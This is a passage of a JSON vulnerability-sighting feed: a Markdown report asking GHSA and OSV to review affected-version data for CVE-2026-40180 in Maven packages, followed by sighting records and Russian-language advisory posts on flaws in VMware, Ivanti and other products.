`3.0.0.RELEASE`\n  - claim projection decisions: `CVE:namespace_missing;NVD:package_excluded`\n  - excluding sources: `CVE;NVD`\n  - detail: CVE: published version is older than every CVE affected version expression; NVD: no NVD CPE row matched the configured product\n- `org.springframework.security:spring-security-core:4.2.20.RELEASE`\n  - version: `4.2.20.RELEASE`\n  - claim projection decisions: `CVE:namespace_missing;NVD:package_excluded`\n  - excluding sources: `CVE;NVD`\n  - detail: CVE: published version is older than every CVE affected version expression; NVD: no NVD CPE row matched the configured product\n- `org.springframework.security:spring-security-core:5.6.12`\n  - version: `5.6.12`\n  - claim projection decisions: `CVE:namespace_missing;NVD:package_excluded`\n  - excluding sources: `CVE;NVD`\n  - detail: CVE: published version is older than every CVE affected version expression; NVD: no NVD CPE row matched the configured product\n## Source Disagreements\n\n- versions with source disagreement: `2.0.8.RELEASE, 3.0.0.RELEASE, 4.2.20.RELEASE, 5.6.12, 5.7.11, 5.8.10, 6.1.7, 6.2.2`\n\n### CVE-2026-40180 / GHSA\n\n- route: `https://github.com/github/advisory-database`\n- payload SHA-256: `6d68b018881317fed2214dd04460a6948f601135e1eed9cfc72702569541e307`\n\n# CVE-2026-40180: executable affected-version evidence for GHSA\n\n## Requested Check\n\nPlease review the executable affected-version evidence below and decide whether the affected-version data or package namespace should be updated or explicitly documented.\n\n## Grouped Route\n\n- candidate: `CVE-2026-40180`\n- route URL: `https://github.com/github/advisory-database`\n- targets: `GHSA`\n- route kinds: `claim-source`\n- priority: `P1`\n- grouped queue rows: `1`\n- P0 rows in group: `0`\n\n## Evidence Summary\n\n- projection-loss versions: `3`\n- source-disagreement versions: `0`\n- report paths: `external_validation_reports/CVE-2026-40180_external_validation_report.md`\n\n## Target-Specific Packets\n\n| Target | Route kind | Priority | Reason | Body | SHA-256 |\n|---|---|---|---|---|---|\n| `GHSA` | `claim-source` | `P1` | claim-source projection excludes witness-vulnerable versions | `external_validation_submissions/CVE-2026-40180__GHSA.md` | `0809d436d6857494ed902d860f91d896d0944b12f59eb201555610d6bbdc08ea` |\n\n## Reproduction\n\n```sh\nmake cve-2026-40180\nmake interval-certificates topology-theorem order-sensitivity version-dags\nmake case-certificates verify-certificates validate-artifact\n```\n\n## Evidence Details\n\nOnly the maintainer-facing certificate sections are included here. Tool-level matrices remain in the research artifact and are not part of this advisory-owner request.\n\n### Packet: GHSA / claim-source\n\n- target-specific body SHA-256: `0809d436d6857494ed902d860f91d896d0944b12f59eb201555610d6bbdc08ea`\n- target-specific report: `external_validation_reports/CVE-2026-40180_external_validation_report.md`\n\n## Executable Certificate\n\n- candidate: `CVE-2026-40180`\n- bitstring: `11100000`\n- minimum interval cover: `1`\n- V-S-V witnesses: `0`\n- zero-error single intervals: `1`\n- full-recall false-positive lower bound: `0`\n- zero-false-positive false-negative lower bound: `0`\n## Projection-Loss Coordinates\n\n- `io.quarkiverse.openapi.generator:quarkus-openapi-generator-server-deployment:2.14.0`\n  - version: `2.14.0`\n  - claim projection decisions: `OSV:package_excluded;GHSA:package_excluded`\n  - excluding sources: `OSV;GHSA`\n  - detail: OSV: no GHSA vulnerability row for tested Maven coordinate; GHSA: no GHSA vulnerability row for tested Maven coordinate\n- `io.quarkiverse.openapi.generator:quarkus-openapi-generator-server-deployment:2.14.0-lts`\n  - version: `2.14.0-lts`\n  - claim projection decisions: `OSV:package_excluded;GHSA:package_excluded`\n  - excluding sources: `OSV;GHSA`\n  - detail: OSV: no GHSA vulnerability row for tested Maven coordinate; GHSA: no GHSA vulnerability row for tested Maven coordinate\n- `io.quarkiverse.openapi.generator:quarkus-openapi-generator-server-deployment:2.15.0`\n  - version: `2.15.0`\n  - claim projection decisions: `OSV:package_excluded;GHSA:package_excluded`\n  - excluding sources: `OSV;GHSA`\n  - detail: OSV: no GHSA vulnerability row for tested Maven coordinate; GHSA: no GHSA vulnerability row for tested Maven coordinate\n## Source Disagreements\n\n- none recorded for this case\n\n### CVE-2026-40180 / OSV\n\n- route: `https://github.com/google/osv.dev`\n- payload SHA-256: `ca791acfd0f6483a434acbf80df1f62c536fb5bb1210176f833a3c5dfd3a91d6`\n\n# CVE-2026-40180: executable affected-version evidence for OSV\n\n## Requested Check\n\nPlease review the executable affected-version evidence below and decide whether the affected-version data or package namespace should be updated or explicitly documented.\n\n## Grouped Route\n\n- candidate: `CVE-2026-40180`\n- route URL: `https://github.com/google/osv.dev`\n- targets: `OSV`\n- route kinds: `claim-source`\n- priority: `P1`\n- grouped queue rows: `1`\n- P0 rows in group: `0`\n\n## Evidence Summary\n\n- projection-loss versions: `3`\n- source-disagreement versions: `0`\n- report paths: `external_validation_reports/CVE-2026-40180_external_validation_report.md`\n\n## Target-Specific Packets\n\n| Target | Route kind | Priority | Reason | Body | SHA-256 |\n|---|---|---|---|---|---|\n| `OSV` | `claim-source` | `P1` | claim-source projection excludes witness-vulnerable versions | `external_validation_submissions/CVE-2026-40180__OSV.md` | `5e54d610c96742a60ae45d1d3cfaf22f81c05d5cd41495149e208ff4c0a02d4e` |\n\n## Reproduction\n\n```sh\nmake cve-2026-40180\nmake interval-certificates topology-theorem order-sensitivity version-dags\nmake case-certificates verify-certificates validate-artifact\n```\n\n## Evidence Details\n\nOnly the maintainer-facing certificate sections are included here. Tool-level matrices remain in the research artifact and are not part of this advisory-owner request.\n\n### Packet: OSV / claim-source\n\n- target-specific body SHA-256: `5e54d610c96742a60ae45d1d3cfaf22f81c05d5cd41495149e208ff4c0a02d4e`\n- target-specific report: `external_validation_reports/CVE-2026-40180_external_validation_report.md`\n\n## Executable Certificate\n\n- candidate: `CVE-2026-40180`\n- bitstring: `11100000`\n- minimum interval cover: `1`\n- V-S-V witnesses: `0`\n- zero-error single intervals: `1`\n- full-recall false-positive lower bound: `0`\n- zero-false-positive false-negative lower bound: `0`\n## Projection-Loss Coordinates\n\n- `io.quarkiverse.openapi.generator:quarkus-openapi-generator-server-deployment:2.14.0`\n  - version: `2.14.0`\n  - claim projection decisions: `OSV:package_excluded;GHSA:package_excluded`\n  - excluding sources: `OSV;GHSA`\n  - detail: OSV: no GHSA vulnerability row for tested Maven coordinate; GHSA: no GHSA vulnerability row for tested Maven coordinate\n- `io.quarkiverse.openapi.generator:quarkus-openapi-generator-server-deployment:2.14.0-lts`\n  - version: `2.14.0-lts`\n  - claim projection decisions: `OSV:package_excluded;GHSA:package_excluded`\n  - excluding sources: `OSV;GHSA`\n  - detail: OSV: no GHSA vulnerability row for tested Maven coordinate; GHSA: no GHSA vulnerability row for tested Maven coordinate\n- `io.quarkiverse.openapi.generator:quarkus-openapi-generator-server-deployment:2.15.0`\n  - version: `2.15.0`\n  - claim projection decisions: `OSV:package_excluded;GHSA:package_excluded`\n  - excluding sources: `OSV;GHSA`\n  - detail: OSV: no GHSA vulnerability row for tested Maven coordinate; GHSA: no GHSA vulnerability row for tested Maven coordinate\n## Source Disagreements\n\n- none recorded for this case\n", "creation_timestamp": "2026-06-30T03:22:28.371002Z"}, {"uuid": "6da71450-9ba2-4b13-8400-0aa490636460", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/33947c86-829d-44af-a7f6-891fc4a3a528", "content": "", "creation_timestamp": "2026-06-30T09:22:41.137284Z"}, {"uuid": "54c505e9-4716-4bd6-8b63-5ede49939c2d", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-22319", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/e620a590-520f-4d3b-a72a-9c7d96e511a9", "content": "", "creation_timestamp": "2026-06-30T09:23:05.630964Z"}, {"uuid": "c04deeb8-d28f-447d-9a9d-c6a83dcb264a", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-22320", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b2ac4c6d-ef53-481e-8f12-7794ad6d11cf", "content": "", "creation_timestamp": "2026-06-30T09:23:51.533539Z"}, {"uuid": "0f778f41-0f38-486e-81e2-dacd550fa0eb", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-22927", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/aa44165a-2482-471c-b371-77029ee4fd78", "content": "", "creation_timestamp": "2026-06-30T09:23:53.923583Z"}, {"uuid": "3b4f9836-4b77-46d2-a94e-b176eeedc1dd", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-22768", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/00cb1b7c-1847-4d20-8dd5-dd1fd518c0c6", "content": "", "creation_timestamp": "2026-06-30T09:42:31.036291Z"}, {"uuid": "7bf6b5e4-03d3-46ae-9bc0-5700f4dcf089", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-22729", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/0e6d5e65-744f-4ad8-bdd0-8c5250126896", "content": "", "creation_timestamp": "2026-06-30T12:29:18.738516Z"}, {"uuid": "b5653ee9-1f5a-42dc-84fb-d86a2faec00d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22922", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpxbzknros2k", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-22922 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u0435\u0442\u0438\u0442\u0435\u043b\u044f\u043c\u0438 Projectworlds: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/B4BD99E8-7018-47AF-936C-E004FF5E6C81", "creation_timestamp": "2026-07-06T04:49:19.461191Z"}, {"uuid": "4af605bc-9fb0-40a8-8243-8d141f0636d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22873", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpxc4jeclc2p", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-22873 \u0432 Tencent Blueking CMDB: \u0443\u0433\u0440\u043e\u0437\u0430 \u0434\u043b\u044f \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\n\n\n\nhttps://kripta.biz/posts/DA638550-19A4-4F74-B823-2088216F2362", "creation_timestamp": "2026-07-06T04:50:55.231746Z"}, {"uuid": "c1f74e32-0c23-424a-8ac5-9c32adfb28a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22983", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpxdkt3ds62b", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 CVE-2024-22983 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u0435\u0442\u0438\u0442\u0435\u043b\u044f\u043c\u0438 Projectworlds: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/DB7E2BEE-0A71-4D9D-806E-D20113FE88CD", "creation_timestamp": "2026-07-06T05:16:48.692539Z"}, {"uuid": "60de47cd-ada9-4c2f-90e5-7240590d4fd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22252", "type": "published-proof-of-concept", "source": "https://t.me/crypto_security_lab/749", "content": "Security Week 2411: \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 VMware.\n\n5 \u043c\u0430\u0440\u0442\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VMware (\u043d\u044b\u043d\u0435 \u0432\u0445\u043e\u0434\u044f\u0449\u0430\u044f \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0446\u0438\u044e Broadcom) \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0440\u044f\u0434\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 VMware ESXi, Fusion, Cloud Foundation, Workstation Pro \u0438 Workstation Player. \u0412\u0441\u0435\u0433\u043e \u0431\u044b\u043b\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u043e \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0430 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2024-22252. \u041e\u043d\u0430 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043e\u0448\u0438\u0431\u043a\u0435 use-after-free \u0432 \u043a\u043e\u0434\u0435 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438 USB 3.0 (XHCI USB) \u0432 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u043c \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0431\u043b\u0438\u0437\u043a\u0438\u0439 \u043a \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0440\u0435\u0439\u0442\u0438\u043d\u0433 9,3 \u0431\u0430\u043b\u043b\u0430 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS, \u0442\u0430\u043a \u043a\u0430\u043a \u043f\u0440\u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0439 \u0432 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u043c \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043f\u043e\u0431\u0435\u0433\u0430 \u0438\u0437 \u00ab\u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b\u00bb.\n\n\u0412\u043e\u0442 \u043a\u0430\u043a \u044d\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442. \u041f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043f\u0440\u0430\u0432 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u041e\u0421 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430. \u041f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0442\u0430\u043a\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u0414\u043b\u044f VMware ESXi \u043a\u043e\u0434 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u0432 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u0445 \u00ab\u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b\u00bb, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u043d\u0430 VMware Workstation \u0438\u043b\u0438 Fusion \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043d\u0430 \u0445\u043e\u0441\u0442\u0435.\n\n\u0427\u0438\u0442\u0430\u0442\u044c \u0434\u0430\u043b\u044c\u0448\u0435 \u2192https://habr.com/ru/companies/kaspersky/articles/799357", "creation_timestamp": "2026-08-19T05:00:05.335047Z"}, {"uuid": "441b7cc8-e693-4935-8162-34d8a2125a7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22252", "type": "published-proof-of-concept", "source": "https://t.me/crypto_security_lab/749", "content": "Security Week 2411: \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 VMware.\n\n5 \u043c\u0430\u0440\u0442\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VMware (\u043d\u044b\u043d\u0435 \u0432\u0445\u043e\u0434\u044f\u0449\u0430\u044f \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0446\u0438\u044e Broadcom) \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0440\u044f\u0434\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 VMware ESXi, Fusion, Cloud Foundation, Workstation Pro \u0438 Workstation Player. \u0412\u0441\u0435\u0433\u043e \u0431\u044b\u043b\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u043e \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0430 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2024-22252. \u041e\u043d\u0430 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043e\u0448\u0438\u0431\u043a\u0435 use-after-free \u0432 \u043a\u043e\u0434\u0435 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438 USB 3.0 (XHCI USB) \u0432 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u043c \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0431\u043b\u0438\u0437\u043a\u0438\u0439 \u043a \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0440\u0435\u0439\u0442\u0438\u043d\u0433 9,3 \u0431\u0430\u043b\u043b\u0430 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS, \u0442\u0430\u043a \u043a\u0430\u043a \u043f\u0440\u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0439 \u0432 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u043c \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043f\u043e\u0431\u0435\u0433\u0430 \u0438\u0437 \u00ab\u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b\u00bb.\n\n\u0412\u043e\u0442 \u043a\u0430\u043a \u044d\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442. \u041f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043f\u0440\u0430\u0432 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u041e\u0421 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430. \u041f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0442\u0430\u043a\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u0414\u043b\u044f VMware ESXi \u043a\u043e\u0434 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u0432 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u0445 \u00ab\u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b\u00bb, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u043d\u0430 VMware Workstation \u0438\u043b\u0438 Fusion \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043d\u0430 \u0445\u043e\u0441\u0442\u0435.\n\n\u0427\u0438\u0442\u0430\u0442\u044c \u0434\u0430\u043b\u044c\u0448\u0435 \u2192https://habr.com/ru/companies/kaspersky/articles/799357", "creation_timestamp": "2026-08-20T00:00:29.078083Z"}, {"uuid": "3af2f964-44f4-4e01-8ab6-46849cbe830c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "https://t.me/ZerodayAlert/174", "content": "1200 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0438 5000 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: Ivanti Pulse Secure \u2014 \u043c\u0438\u043d\u0430 \u0437\u0430\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Eclypsium \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 5000 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 Pulse Secure \u043e\u0442 Ivanti, \u0447\u0442\u043e \u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u0443 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u26a1\ufe0f \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438:\n\n\u2022 1200 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u043a\u0440\u0438\u043f\u0442\u0430\u0445 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438.\n\u2022 5000 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 Python.\n\u2022 133 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0445 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430.\n\u2022 \u041d\u0435\u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0441\u0442\u0432\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438.\n\n\ud83d\udd14 \u0427\u0442\u043e \u043c\u043e\u0433\u0443\u0442 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438:\n\n\u2022 CVE-2023-46805: \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 